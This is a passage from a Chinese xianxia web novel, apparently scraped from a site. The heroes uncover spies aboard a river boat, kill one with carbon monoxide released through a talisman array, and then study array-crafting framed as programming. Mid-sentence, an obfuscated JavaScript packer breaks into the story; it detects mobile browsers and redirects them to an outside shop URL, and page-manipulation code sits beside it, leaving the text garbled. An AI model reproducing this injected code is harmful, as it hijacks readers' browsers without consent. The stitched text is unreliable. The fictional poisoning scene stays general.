就在船尾方向,靠近水面的位置,一个黑影正悄无声息地贴着船身移动。那人身形瘦小,动作灵巧如猿,五指扣着船体缝隙,竟能在光滑的铁甲上攀爬。
祝君竹瞳孔骤缩。她立刻转身,正要叫醒清音,却听隔壁房间传来极轻微的“咔哒”声——是“示警”阵法被触动了!
几乎同时,船尾方向传来一声闷响,像是重物落水。紧接着,甲板上响起杂乱的脚步声和呼喝:
“什么人?!”
“有刺客!”
“警戒!全员警戒!”
祝君竹心脏狂跳。她迅速穿上外衣,对惊醒的清音做了个噤声的手势,闪身到门边,透过门缝向外窥视。
走廊里已有火光晃动。几个护卫提着灯笼和兵刃冲过,脚步声急促。有人在高喊:“在船尾!有两个人跳江了!”
两个人?祝君竹心中一沉。林疏星说过,青蛟号上只有一个可疑之人,另外两个在赤蛟号。现在青蛟号上出现刺客,赤蛟号那边呢?
她正思量,隔壁房门开了。林疏星闪身出来,已换上一身深色劲装,平凡面容下透着一股凛然杀气。
“留在房里,锁好门。”他对祝君竹低声道,语气不容置疑,“我去看看。”
“小心。”祝君竹只说了两个字。
林疏星点头,身形一晃,已融入走廊阴影中。
祝君竹关上门,背靠着门板,深吸一口气。清音凑过来,小脸吓得发白:“小姐,出什么事了?”
“有人夜袭。”祝君竹压低声音,“应该是冲着商队来的,或是……冲着某个人。”
她说着,走到窗边,再次看向江面。月光下,江水漆黑如墨,哪还有人影。那两人跳江后便消失无踪,显然是水性极佳,或是用了什么水下潜行的法器。
事情不对劲。
如果真是刺客或水匪,为何只来了两人?行动如此仓促,一触即走,根本不像要袭击商队,倒像是……踩点?试探?
她想起林疏星白天说的话——“虎口有茧,脚步轻捷”。这些特征,更像是训练有素的暗探,而非亡命之徒。
难道是玄影监?
这个念头让她心头一紧。但很快她又否定了。玄影监若真发现了他们的踪迹,绝不会只派两个人来打草惊蛇。况且玉京山那边,他们应该还在忙着破除禁制,怎么可能这么快追到这里?
除非……这些暗探本就在商队里,他们的目标本就不是她和林疏星。
“小姐,我们要不要出去看看?”清音小声问,声音有些发颤。
“别动。”祝君竹按住她的手,“兄长让我们留在房里,自有他的道理。”
话音未落,门外传来敲门声——三轻一重,是林疏星约定的暗号。
祝君竹拉开门。林疏星闪身进来,反手关门。他脸上溅了几点水渍,衣角微湿,显然刚从甲板回来。
“怎么样?”祝君竹低声问。
“人跑了。”林疏星神色凝重,“我追到船尾时,只看到两个黑影入水。护卫放箭,但没射中。金老板已经下令加强戒备,今夜所有人员不得随意走动。”
“看清那两人的样子了吗?”
林疏星摇头:“夜色太深,又有雾,只看出身形瘦小,动作极快。不过……”他顿了顿,“我在他们入水的地方,捡到了这个。”
他从怀中取出一枚小小的铜牌,约莫半个手掌大小,上有极其精细的浮雕图案——一条黑色的盘龙。
祝君竹接过铜牌,指尖触感冰凉。那图案让她脑中闪过一些碎片记忆。
“这是……潜龙卫?”
“不错。”林疏星声音压得极低。
祝君竹心头一震:“你是说,那两人是潜龙卫?”
林疏星点头,两人对视一眼,都从对方眼中看到了深深的忧虑。
潜龙卫混入商队,深夜潜行探查,这绝不寻常。他们到底在找什么?或者说,在找谁?
“敖清澜。”祝君竹忽然道,“会不会是冲他来的?”
林疏星沉吟片刻:“有可能。他来历神秘,气质不凡,若真是龙族重要人物,被玄影监盯上也不奇怪。只是……”他看向祝君竹,“我总觉得,事情没这么简单。”
窗外传来更鼓声——丑时了。
“先休息吧。”林疏星道,“今夜应该不会再有事了。明日我会暗中探查那几人的底细,你留在房里,尽量不要出门。”
“你一个人太危险。”祝君竹皱眉。
“无妨。”林疏星笑了笑,那笑容在烛光下显得格外温和,“我有分寸。况且……”他顿了顿,声音轻柔下来,“你在这里,我不能让你涉险。”
这话说得太过直接,祝君竹一时不知如何回应。清音在一旁偷偷抿嘴笑,被她瞪了一眼。
林疏星也意识到自己失言,轻咳一声:“因为……你我也算是儿时的玩伴……总之,万事小心。我回去了。”
他走到门边,手搭上门闩,却又回头:“还有!”
“嗯?”
“无论发生什么,记住,你不是一个人。”他的眼睛在昏暗中亮得惊人,“我就在隔壁。”
门轻轻关上。
祝君竹站在原地,许久未动。
“小姐……”清音小声唤她。
“睡吧。”祝君竹打断她,吹灭了蜡烛。
黑暗中,她睁着眼,望着舱顶模糊的轮廓。林疏星的话,敖清澜的异常,潜龙卫的出现……这一切像一张无形的网,正缓缓收紧。
而她,就站在这张网的中央。
翌日清晨,江雾未散。
青蛟号在晨光中缓缓前行,船首劈开水面,留下两道长长的白浪。甲板上,伙计们已经开始忙碌,打扫、做饭、检查货物,一切如常,仿佛昨夜的风波从未发生。
但细看之下,便能发现不同——巡逻的护卫增加了,眼神锐利地扫视着每一个角落。金鳞亲自在甲板上来回巡视,面色沉凝。
祝君竹推开窗,让江风吹入。她一夜未眠,头痛虽未发作,但精神不济。清音端来早饭——简单的米粥和咸菜,她勉强吃了几口,便放下筷子。
“小姐,您再吃点。”清音劝道。
“没胃口。”祝君竹摇头,目光投向窗外。甲板上,林疏星正与一个船工交谈,神色自然,仿佛只是闲聊。但她知道,他是在套话。
过了一会儿,林疏星回来了。他推门进来,反手关上,脸色不太好看。
“打听出什么了?”祝君竹问。
林疏星压低声音,“今早金老板私下盘查,发现少了两个人——就是昨天我说的那三个生面孔中的两个。他们用的是假身份,文书做得天衣无缝,连金老板都没看出破绽。至于第三个,还在船上,似乎在后厨帮工。”
祝君竹沉吟:“看来他们是一伙的,昨夜两人出去探查,一人留守。只是不知他们探查什么,又为何暴露。”
林疏星点头:“先静观其变吧。”
接下来的两日,船行平稳。
江面开阔,两岸青山连绵,偶有渔舟掠过,洒下片片银网。白日里,商队伙计们或修补帆索,或晾晒货物,一派寻常水途景象。夜里,护卫巡逻的脚步声却明显密了许多,灯笼的光在甲板上交错扫过,不留死角。
祝君竹却开始感到不适。
起初只是轻微的眩晕,像坐在摇晃的秋千上。她以为是昨夜没睡好,并未在意。可到了第二日下午,那眩晕感骤然加剧,胃里翻江倒海,额角渗出细密冷汗。
“小姐,您脸色好差。”清音扶她坐到床边,担忧地摸了摸她的额头,“是不是又头痛了?”
祝君竹摇摇头,想说什么,却一阵恶心涌上喉头。她急忙推开清音,冲到舱室角落的木桶边,却只干呕出几口酸水。
清音慌了神:“我、我去找公子!”
“别——”祝君竹想拦她,可清音已经一溜烟跑出去了。
不多时,林疏星匆匆赶来。他手里端着碗清水,见祝君竹苍白着脸靠在墙边,眉头微蹙:“晕船了?”
祝君竹有气无力地点头。
林疏星将水递给她,转身从怀里掏出个小瓷瓶,倒出两粒褐色药丸:“这是‘定眩丹’,专治晕船。含在舌下,慢慢化开。”
祝君竹接过服下,清凉的药力自喉间化开,眩晕感稍缓。她靠在床沿,闭目调息,却听林疏星轻声问:“你以前……也晕船吗?”
这话问得突兀。祝君竹睁开眼,看见林疏星正看着她,眼神里有种说不清道不明的复杂情绪。
“我不记得了。”她如实道,“或许晕,或许不晕。”
林疏星沉默片刻,忽然低声道:“江浅月是晕船的。”
祝君竹心头一跳。
“当年她随定岳王巡视水师,第一次乘战船,吐得天昏地暗。可她偏不服输,硬是在船上待了三天三夜,直到适应为止。”林疏星说着,嘴角浮起一丝极淡的笑意,“那时我还笑她,一个陆上骁将,何苦跟水较劲。她却说——”
“水陆皆疆场,岂能因己之短,废国之利?”祝君竹脱口而出。
话一出口,两人都愣住了。
祝君竹怔怔地看着自己的手。这句话,她根本没过脑子,就这么自然而然地说出来了。像是深植在血脉里的本
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998675|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能,在某个瞬间被唤醒。
林疏星眼中掠过一丝震动,随即垂下眼帘,掩去所有情绪。他转身倒了杯温水,递到祝君竹手中:“多喝些水,会好些。”
他的手指无意间擦过她的手背。温热的触感转瞬即逝,却让祝君竹心头泛起涟漪。
清音在一旁看得分明,偷偷抿嘴笑,却被祝君竹瞪了一眼。
“我没事了,你们回去吧。”祝君竹别过脸,“我想休息会儿。”
林疏星点头:“药效能维持六个时辰。若再不适,让清音来叫我。”他顿了顿,补充道,“我就在隔壁。”
他离开后,清音凑过来,眼睛亮晶晶的:“小姐,您刚才那句话,和当年一模一样!连语气都不差!”
祝君竹靠在枕上,望着舱顶。是啊,一模一样。可说出那句话的,究竟是她祝君竹,还是正在苏醒的江浅月?
她分不清了。
入夜后,祝君竹精神好了些。药效确实显著,眩晕感已基本消退,只是身体仍有些虚软。她让清音先去睡,自己披衣起身,坐到窗边。
月光洒在江面上,碎成万点银鳞。远处山影如黛,近处水声潺潺,天地间一片宁静。可这宁静之下,暗流涌动。
她想起白日里林疏星的话,想起那句脱口而出的“水陆皆疆场”。记忆的闸门一旦打开,便再也关不上了。这几日,零碎的片段越来越多——
校场上,她挽弓搭箭,箭矢破空,正中百步外的靶心。周围响起喝彩声,她回头,看见父亲站在点将台上,眼中满是骄傲。
书房里,她伏案疾书,纸上不是诗词歌赋,而是边防布阵图。兄长推门进来,将一碗热汤放在她手边:“月儿,歇会儿。”
仙宫中,仙帝温和地笑着,将一枚玉佩递给她:“浅月,此物可助你参悟秘法,莫要辜负朕的期望。”
那些画面真实得可怕,连带着画面中的情感也一并涌来——对父亲的敬爱,对兄长的依赖,对仙帝起初的信任与后来的恐惧……
祝君竹按住太阳穴,深吸一口气。
不能乱。现在不是沉溺记忆的时候。船上有潜龙卫,有神秘莫测的敖清澜,前路凶险未卜。她必须保持清醒。
正思量间,门外传来极轻微的脚步声。
不是巡逻的护卫——护卫的脚步沉稳规律,而这个脚步声轻巧而迟疑,走走停停,像是在窥探什么。
祝君竹立刻警觉。她吹灭蜡烛,闪身到门后,透过门缝向外看。
走廊里光线昏暗,只有尽头一盏油灯幽幽亮着。一个瘦小的身影正贴着墙根,缓缓挪到她房门外。那人穿着伙计的粗布衣裳,低着头,看不清面容,但祝君竹一眼就认出——正是林疏星说的那个“生面孔”,潜龙卫的第三个人!
他在门外停下,侧耳倾听。片刻后,又蹑手蹑脚地挪到林疏星房门外,重复同样的动作。
他在偷听!
祝君竹心中警铃大作。这人显然在怀疑他们!昨夜同伴暴露,他非但没有撤离,反而更加小心地探查,这说明他们的目标很可能就是自己和林疏星!
怎么办?直接动手?不行,会打草惊蛇。装作不知?也不行,任由他窥探,迟早会暴露更多破绽。
正犹豫时,隔壁房门“吱呀”一声开了。
林疏星走出来,手里端着个空碗,像是要去厨房添水。他看见那伙计,自然地打招呼:“这么晚了,还没歇息?”
那伙计吓了一跳,慌忙低头:“回、回林爷,小的值夜,巡视一圈。”
“辛苦了。”林疏星点点头,从他身边走过,仿佛全然未觉异样。
祝君竹在门后看着,心提到了嗓子眼。林疏星不可能没发现,他这是在……
果然,林疏星走出几步,忽然回头:“对了,我妹妹今日晕船,明日劳烦厨房做些清淡的粥菜。她口味偏淡,莫要放太多盐。”
“是、是。”伙计连声应着。
“还有,”林疏星语气随意,“听说昨夜有贼人摸上船,不知金老板可查清了?咱们这些搭船的,心里总不踏实。”
伙计身子微微一僵:“这个……小的不知。金老板只说加强戒备,让大伙儿夜里莫要乱走。”
“也是。”林疏星叹了口气,“这世道,走哪儿都不安生。只盼着平安抵达天都,把我妹妹的婚事办了,我也好放心。”
他说着,转身朝厨房方向走去。那伙计在原地站了片刻,也悄悄跟了上去。
祝君竹明白了。林疏星这是在试探,也是在传递信息——故意提及“晕船”“婚事”,是在暗示他们只是普通商旅,降低对方戒心。而最后那句“平安抵达天都”,则是说给她听的:按兵不动,见机行事。
她退回房中,心绪稍定。有林疏星在,她似乎总能感到一种莫名的安心。哪怕前路再险,只要他在身侧,便觉得可以闯过去。
这种依赖感,是从什么时候开始的?她说不清。
半个时辰后,林疏星回来了。他没有回自己房间,而是轻轻叩响了祝君竹的门。
祝君竹拉开门,他闪身进来,反手将门闩上。烛光下,他神色凝重:“那人跟了我一路,直到我回房才离开。他在怀疑我们。”
“怎么办?”祝君竹低声问,“留着他,迟早是祸害。”
林疏星沉吟片刻:“杀了他,容易打草惊蛇。不杀,我们的一举一动都在他监视之下。”他顿了顿,“除非……让他‘意外’身亡。”
“意外?”
“比如,失足落水,或者……”
祝君竹眼中闪过一抹寒光,“突发急症,暴毙而亡。”
她立即有了计划——一氧化碳中毒。无色无味,不易察觉,在密闭空间里,短时间内就能致人死亡。“我可以试着制出毒气,可让他在睡梦中毫无察觉的身亡。但需要知道他住在哪里。”
林疏星从怀中取出一张简陋的草图,是他这两日暗中绘制的船舱布局图:“他住在下层的隔间里,他特意少要了些工钱也不愿与其他杂役住在底仓。这也是当日我注意到他的原因之一。此人平日很少与人来往,最适合下手。”
祝君竹看着图纸,脑中飞速计算。下层没有窗户,意味着密闭性好。唯一的问题是——她一个女儿家,夜半深更的跑出去?太过惹人注意。
林疏星似乎看穿了她的想法,“我可以做一枚‘聚气符’,用符内阵法时气体贮留,待到用时,启动阵法缓慢释放其中封存的‘气’。只是这‘气’需你提供。我借机将阵法放入他房中便是了。”
“那就这么定了。先干了再说!”
“好。”林疏星起身,“你早些休息,晕船的药记得按时服。”
他走到门边,手搭上门闩,又回头:“还有——”
“嗯?”
“无论成败,明日过后,我们都需更加小心。”他的声音在夜色中格外清晰,“玄影监无孔不入,既然已经怀疑到商队,就不会轻易罢手。”
祝君竹点头:“我明白。”
门轻轻关上。房间里重新安静下来,只有窗外的江水声,声声入耳。
清音去厨房寻了些炭,说是小姐晕船觉得冷。祝君竹则将碳炉上刻了个简易的过滤阵法。
翌日,天色阴沉。祝、林二人也都准备停当。
辰时过后,江上起了风,乌云从远处山峦后涌来,遮住了太阳。金鳞在前舱设宴,三层甲板张灯结彩,摆了十几桌酒菜,请了船上的老主顾和几位有头脸的客人。
宴会热闹,丝竹声、谈笑声不绝于耳。祝君竹借口身体不适,只略坐了坐便回房了。林疏星则留在席间,与几位商人周旋,暗中留意着那个潜龙卫的动向。
那人果然在宴会上当值,端着酒菜穿梭于各桌之间。
不多时,林疏星回来了。他推门进来,反手关上,朝祝君竹点了点头。
“成了。”他低声道。
祝君竹松了口气:“接下来,就是等了。”
等待的时间格外漫长。
窗外天色越来越暗,风也大了,江面起了浪,船身开始明显摇晃。祝君竹的晕船感又有些复发,她服了药,靠在床头闭目养神。
清音在一旁缝补衣裳,嘴里哼着不知名的小调,哼着哼着,忽然“噗嗤”笑出声。
“笑什么?”祝君竹睁开眼。
“没什么。”清音抿嘴笑,“我就是想起小姐小时候,第一次晕船吐得昏天暗地,还非要强撑着说‘不妨事’。结果话没说完,又吐了。”
祝君竹也笑了。这记忆碎片,她也想起来了。那时她才十岁,随父亲巡视水师,吐得小脸蜡黄,却硬是不肯下船。父亲又心疼又好笑,最后把她扛在肩上带走了。
“那时父亲说,月儿这倔脾气,像极了他。”她轻声说。
清音点头:“王爷常这么说。他还说,小姐以后定是巾帼不让须眉。”
话音落下,两人都沉默了。那些温馨的往事,如今想来,只剩酸楚。
窗外雷声隆隆,大雨倾盆而下。
子时将近,风浪更急。
船身在波涛中起伏,桅杆发出“嘎吱”的呻吟。大部分人都已睡下,只有值夜的护卫披着蓑衣,在甲板上艰难巡视。
祝君竹和林疏星对坐在房中,烛火在摇晃的船身中明灭不定。桌上摆着那枚启动阵法的玉简。
“时候到了。”林疏星低声道。
祝君竹点头,林疏星催动玉简,开始了一氧化碳的释放。整个过程无声无息。
翌日清晨,雨过天晴。
江面如镜,倒映着蓝天白云。青蛟号平稳航行,仿佛昨夜的风雨从未发生。
辰时刚过,金鳞便召集所有人在前厅集合。他面色沉凝,目光扫过众人:“昨夜,杂役房的李贵死了。”
人群中响起一阵骚动。
“死了?怎么死的?”
“昨日还好好的啊!”
金鳞抬手压下议论:“初步查验,是夜里点安神香,门户紧闭,导致气息不畅,窒息而亡。我已让人查验过房间,没有打斗痕迹,应当是个意外。”
祝君竹站在人群中,面色平静。林疏星在她身侧,微微侧身,将她挡在身后半个身位。这个细微的动作,被站在斜对面的敖清澜看在眼里。他目光闪了闪,走向前去。
“林姑娘昨夜又晕船了?”
祝君竹回头,见敖清澜跟了上来,眼中有关切之色。
“不妨事。”她笑了笑,“多谢敖先生关心。”
敖清澜点头,目光却落在林疏星身上:“林兄对令妹,真是关怀备至。”
林疏星神色自然:“叔父临终托付,不敢不尽心。”
“原来如此。”敖清澜笑了笑,没再说什么,转身离去。
看着他离去的背影,祝君竹心中那点异样感又浮了上来。敖清澜对她和林疏星的关注,明显超出了寻常路人。
“走吧。”林疏星轻声道,“回房休息。你脸色还是不好。”
两人并肩朝舱室走去。阳光洒在甲板上,暖洋洋的,可祝君竹却觉得,这平静之下,暗流从未停止涌动。
11. 第十回:泊夜研阵情愫生
晨光熹微时,青蛟号缓缓驶入望江镇码头。
这是个依山傍水的小镇,青石板路从码头蜿蜒而上,两侧店铺林立,酒旗在晨风中轻扬。因地处天瀑江中游,往来商船多在此停泊补给,镇上颇为繁华。金鳞商队要在此修整三日,补充淡水和食粮,修理前夜风浪中略有损伤的船帆。
祝君竹站在甲板上,望着码头上熙攘的人群。经过一夜休整,她脸色好了许多,只是眼底仍有些青影。林疏星配的定眩丹确实有效,但连日的记忆冲击和船上潜龙卫的窥伺,让她精神始终紧绷。
“小姐,您看那边!”清音指着码头上一处卖糖人的摊子,眼睛亮晶晶的,“有兔子形的!还有小鹿!”
祝君竹顺着她指的方向看去,果然见那摊主手艺精巧,糖人在阳光下晶莹剔透,栩栩如生。她笑了笑:“待会儿安顿好了,带你去买。”
“真的?”清音欢呼一声,随即又想到什么,压低声音,“可是公子说,让我们尽量不要下船……”
“无妨。”林疏星的声音从身后传来。他不知何时已走到她们身侧,今日换了身灰蓝色长袍,仍是那张平凡面孔,只是腰间多了个不起眼的布袋。
“金老板已包下‘仙来客栈’整个后院,我们住在客栈里,比船上安全。出去走走也好,总闷在舱里,反而惹人注目。”
他说着,目光落在祝君竹脸上,顿了顿:“你气色好些了。”
“嗯。”祝君竹点头,想起昨夜那些混乱的记忆碎片,欲言又止。
林疏星似有所觉,却只道:“先下船吧。敖先生已先去客栈安排了。”
三人随着人流下船。码头上人来人往,扛包的脚夫、叫卖的小贩、巡查的镇兵混杂一处,喧闹非常。祝君竹走在林疏星身侧,他自然地走在靠外一侧,将她与拥挤的人群隔开。这个细节让她心头微暖。
仙来客栈坐落在镇东,是座三进院落。金鳞包下的是最清净的第三进,七八间客房围成个四方小院,院中有口古井,井边老槐树枝叶繁茂,投下一地阴凉。
敖清澜果然已等在院中。他今日换了身月白长衫,青玉长笛仍系在腰间,见三人进来,迎上前笑道:“房间已安排妥当。林兄与令妹各一间上房,我与清音姑娘的房间在两侧。”
他安排得周到,连清音都单独分了一间。祝君竹道谢,接过钥匙——天字三号房,在院子东南角,推窗可见远处江景。
林疏星的房间在她隔壁,天字二号。
各自安顿后,已是午时。客栈伙计送来饭菜,四人在院中石桌上用了简餐。饭后,金鳞派人传话,说商队要在此补充一批货,让大家好生休息。
“既然时间充裕,不若去镇上逛逛?”敖清澜提议,目光落在祝君竹身上,“林姑娘晕船多日,散散心或许好些。”
祝君竹确实想出去走走。那些纷乱的记忆需要时间整理,而密闭的船舱让她有些喘不过气。她看向林疏星,用眼神询问。
林疏星沉吟片刻,点头:“也好。不过……”他看向清音,“你陪小姐去,我在客栈还有些事要办。”
清音巴不得这一句,立刻点头如捣蒜。
于是午后,祝君竹带着清音出了客栈。林疏星送她们到门口,从芥子袋中取出些灵石递给她嘱咐道:“看中什么便买。申时前回来。”
“知道了。”祝君竹接过,顺手丢进自己的袋子里。她看了林疏星一眼,“兄长你呢?不出去走走?”
“我与人有约。”林疏星含糊道,顿了顿,“是旧识,打听些消息。”
祝君竹便不再多问。她带着清音融入街道的人流,很快便将客栈抛在身后。
望江镇虽不大,却五脏俱全。主街两侧店铺林立,绸缎庄、药铺、铁匠铺、书局一应俱全,间杂着些小吃摊子,空气中弥漫着各种食物香气。清音像只出笼的小鸟,这边看看那边瞧瞧,不多时手里已抱了一包糖炒栗子、两串糖葫芦,怀里还揣着个刚买的泥娃娃。
“小姐,您看这个!”她跑到一个卖首饰的摊子前,指着一支银簪,“这簪子雕的是梨花呢!跟咱们府里那棵老梨树开的花一模一样!”
祝君竹走过去。那簪子做工确实精巧,簪头一朵梨花绽开,五片花瓣薄如蝉翼,花心一点淡黄,栩栩如生。她拿起来细看,脑中忽然闪过一个画面——
春日的午后,定岳王府后园的梨花开了,如云似雪。母亲坐在树下抚琴,父亲在一旁舞剑,剑光与落花交织。她那时还小,趴在石桌上,看兄长偷偷往她发间插了朵梨花,被她发现后,两人笑着追逐……
“小姐?”清音的声音将她拉回现实。
祝君竹放下簪子,摇了摇头:“走吧。”
“您不喜欢?”清音有些失望。
“不是不喜欢。”祝君竹轻声道,“只是……现在戴不得。”
清音似懂非懂,却也不再坚持。两人又逛了一会儿,祝君竹在一家书局前停下脚步。店面不大,门楣上挂着“墨香斋”的匾额,里面书架林立,纸墨香气隐隐飘出。
她走了进去。
掌柜是个五十来岁的老者,正在柜台后整理账册。见有客来,抬头笑道:“姑娘想找什么书?经史子集、话本杂谈,小店都有。”
“我想看看……阵法相关的。”祝君竹道。
掌柜打量她一眼,也不多问,引她到最里侧的书架前:“这一排都是。不过大多是入门基础,高深的阵法典籍,小店可没有。”
祝君竹道了谢,目光扫过书架。《阵法初窥》《五行生克概要》《常见符箓图解》……都是些基础读物。她随手抽出一本《阵法原理通解》,翻开看了几页。
书中内容浅显,讲的是阵法最基本的能量流转原理,用图文并茂的方式解释如何布置简单的聚灵阵、防御阵。祝君竹看得很快,那些文字在她眼中自动转化成另一种理解方式——
灵力回路。能量节点。频率共振。
就像电路图。
她忽然想起幻形符佩。林疏星用幻形水晶制作的那几枚玉佩,她虽说用不上,但也扔在芥子袋里一枚。那玉佩中的阵法,她从未仔细研究过。
“掌柜的,这本书我买了。”她合上书,又挑了另外两本基础阵法书,一并付了钱。
清音在一旁看着,小声道:“小姐,您买这些做什么?”
“傻丫头,买书当然是用来看啊。”祝君竹将书收好,看了眼天色,“时辰还早,我们再去那边看看。”
两人又逛了半个时辰,申时前回到了仙来客栈。祝君竹的芥子袋里多了两件衣裙。清音则装满了零食,手里还拿着几个点心果子吃着。
院子里静悄悄的,只有槐树叶在风中沙沙作响。林疏星的房门关着,敖清澜的房门也关着,不知人是否在。祝君竹回到自己房间,关上门,将买的书放在桌上。
她从袋中将那枚幻形符佩取出。玉佩温润,触手生凉,表面看只是块普通白玉,但若以灵力激发,便能改换容貌、遮掩气息。她将玉佩放在掌心,闭上眼睛,将一丝细微的灵力注入其中。
嗡——
玉佩微微发烫,表面浮现出极其复杂的纹路。那些纹路并非静止,而是在缓缓流转,如同活物。祝君竹凝神感知,脑海中渐渐浮现出一个立体的能量结构图。
果然如她所料——这阵法本质上是一个精密的“能量编程系统”。
中央是核心灵力源,由幻形水晶本身提供能量。周围分三环:内环是信息输入层,接收佩戴者的容貌信息;中环是能量调制层,将灵力转化为特定频率的光影波动;外环是输出稳定层,确保幻形效果持久不散。
每一个环又由数十个小型功能模块组成,模块之间通过灵力通路连接,形成完整的能量回路。
祝君竹睁开眼睛,眼中闪过兴奋的光。
这简直就是一个天然的“编程教学实例”!每一个模块都是函数,每一条通路都是流程控制,整个系统就是一段完整的程序!
她立刻翻开买来的阵法书,对照着玉佩中的结构,开始理解这个世界的“编程语言”。
时间在专注中流逝。窗外天色渐暗,伙计送来晚饭时,祝君竹才惊觉已到了酉时。她匆匆吃了些,又点上蜡烛,继续研究。
酉时,房门被轻轻叩响。
祝君竹从书堆中抬起头,揉了揉酸涩的眼睛:“请进。”
门开了,林疏星站在门口。他换回了那身素白长衫,发梢微湿,似是刚沐浴过。烛光下,他平凡的面容也多了几分柔和。
“在看书?”他走进来,目光落在摊开一桌的书籍和那枚发光的玉佩上,眼中掠过一丝讶异,“幻形符佩?”
“嗯。”祝君竹点头,难掩兴奋,“兄长,这玉佩里的阵法,简直是天才的设计!”她指着玉佩,“它先接收面部轮廓信息,将轮廓分解为三十六个关键点,然后用灵力标记每个点的位置……”
她说得又快又急,完全是现代程序员看到优秀代码时的激动语气。
林疏星略微理解了她的意思:“你是说,它把面容‘拆解’了?”
“对!就像把一张图片分解成像素点!”祝君竹继续道,“然后根据那些关键点的位置,生成一个三维的灵力模型。再然后,这个模块负责给模型‘贴皮’,用光影模拟出肌肤纹理……”
她说得兴起,索性拿起纸笔,在纸上画起示意图来。烛光摇曳,映着她专注的侧脸,那双眼睛里跳动着智慧的光芒。
林疏星静静听着,看着她在纸上画出的那些古怪符号和线条。那些东西他从未见过,却在认真尝试着能理解其中逻辑。他忽然想起当年在宫中,江浅月研究新式法器时,也是这般神情——专注、兴奋、眼中只有她正在破解的奥秘。
“你能教我阵法的基础吗?我想系统地学。” 她忽然问。
林疏星看着她眼中的期待,点了点头:“好。不过阵法一道浩瀚如海,我虽说稍有建树,但所知也只是沧海一粟罢了。我先教你最基础的部分,日后我们可以共同参详。”
“足够了!”祝君竹立刻收拾桌子,腾出空间,“我们从哪里开始?”
林疏星在她对面坐下,取出一张纸,用笔在上面画了一个最简单的圆圈。
“阵法,究其根本,乃是以特定方式引导、存储、转化灵力之术。”他声音平和,如清泉流淌,“最基本的三要素:阵基、阵纹、阵眼。”
他在圆圈内画了几个点:“阵基是灵力节点,通常用灵石或特殊材料布置,负责提供和储存能量。”又在点之间连线:“阵纹是灵力通路,决定灵力如何流转。”最后在圆心画了个星形:“阵眼是整个阵法的中枢,也是破阵的关键。”
祝君竹听得认真,脑中自动将术语转换:阵基=电源/存储器,阵纹=电路,阵眼=CPU/控制器。
“阵纹排列相异,泽会产生不同的效果。”林疏星继续画,“比如——”他画了个三角,“这样结构稳固,可用于防御阵法。这样——”画了个螺旋,“是聚能结构,可汇聚灵气。”
祝君竹看着那些图案,忽然问:“那如果我想设计一个新功能呢?比如……身份验证?”
林疏星笔尖一顿,抬头看她:“何为身份验证?”
祝君竹急忙切换回来:“就是让阵法可以识别特定的人,只有这个人能启动?就像……门锁!只有拿对钥匙的人能打开!”
林疏星眼中闪过欣赏:“自然可以——将此人一丝灵力嵌入阵眼中封存为印记,如此,此人便是你所讲的‘拿着钥匙的人’。不过实际操作却复杂的紧,需要对灵力的控制力极强方可。”
“印记?也就是说记录属性,用以对照。对!灵力的属性也包括很多,比如‘频率’、‘五行’、‘阴阳’等等。”祝君竹又开始自言自语。
林疏星默默的看着她,听着这些难以理解的音节。
“我想试试。”祝君竹抬起头,跃跃欲试。
林疏星看着她眼中的光,终究没忍心拒绝。他从怀中取出一块空白玉牌和刻刀:“用这个练手。玉质温和,适合初学者。”
祝君竹接过,深吸一口气,按照林疏星教的方法,先将一丝灵力注入玉牌,感受材质特性,然后拿起刻刀,开始小心翼翼地刻画阵纹。
第一刀下去,玉牌表面浮现淡淡光痕。
“手需稳,心需静。”林疏星轻声指导,“灵力随刻刀流转,如涓涓细流,连绵不绝。”
祝君竹点头,全神贯注。刻刀在玉牌上游走,她脑中同时构建着能量模型——这里要设灵力感应模块,那里要设频率比对模块,最后还要有启动开关……
时间一分一秒过去。烛火噼啪,窗外月色渐明。
烛光下,她垂眸专注的侧脸格外柔和,长睫在眼下投出浅浅阴影。握着刻刀的手指纤细却稳,每一次落刀都精准果断。
林疏星忽然想起很多年前,在定岳王府的书房里,他也曾这样教江浅月阵法。那时她还小,握不好刻刀,总是刻歪,气得把玉牌一扔:“不学了!这劳什子阵法,比练枪还难!”
他捡起玉牌,耐心地手把手教她:“阵法如用兵,要谋定而后动。你性子太急,先静下心来。”
“我静不下来!”小姑娘鼓着腮帮子,“父亲说战场上瞬息万变,哪有时间慢慢布阵!”
“所以更要练。”他那时也不过少年,却装出一副老成模样,“等你能一念成阵时,便知道它的好处了。”
林疏星收回思绪,目光重新落在眼前人身上。她现在叫祝君竹,有着异于常人的思维,却对阵法有着天生的敏锐。这种奇妙的融合,让他既熟悉又陌生。
“成了!”祝君竹忽然欢呼一声,举起玉牌。
玉牌表面,一个完整的阵法已然成型。纹路并不复杂,但结构精巧,各个模块环环相扣,中心处留有一个小小的灵力感应区。
“我试着激活它。”祝君竹说着,将一丝灵力注入感应区。
嗡——
玉牌亮起柔和的白色光芒,持续三息后熄灭。
“完成了!”她兴奋得脸颊微红,看向林疏星,“接下来,我要录入‘钥匙’。”
她将自己的灵力印记刻入阵眼,然后又将玉牌递给林疏星:“你试试。”
林疏星接过,注入灵力——玉牌毫无反应。
祝君竹将自己的手指按在感应区,同时注入灵力。
玉牌再次亮起白光。
“真的成了!”她笑得眉眼弯弯,那是纯粹的、解开难题后的喜悦。
林疏星看着她灿烂的笑容,似乎浮起一丝陌生感。自祝君竹砸穿屋顶至今,她一直都是一副谨慎、冷静、坚韧的形象示人。他从未见过她这般小女儿的姿态。
“你……”他声音有些哑,“当真非池中之物。”
祝君竹还沉浸在成功的喜悦中,没注意到他的异样。她拿起玉牌,反复端详:“不过这个阵法只能识别一个‘钥匙’,而且功能太单一。我在想,如果能把它模块化……”
她又开始滔滔不绝地说起来,如果将常用功能做成标准模块,像积木一样拼接,就能快速构建复杂阵法。她越说越兴奋,眼中精光闪烁。
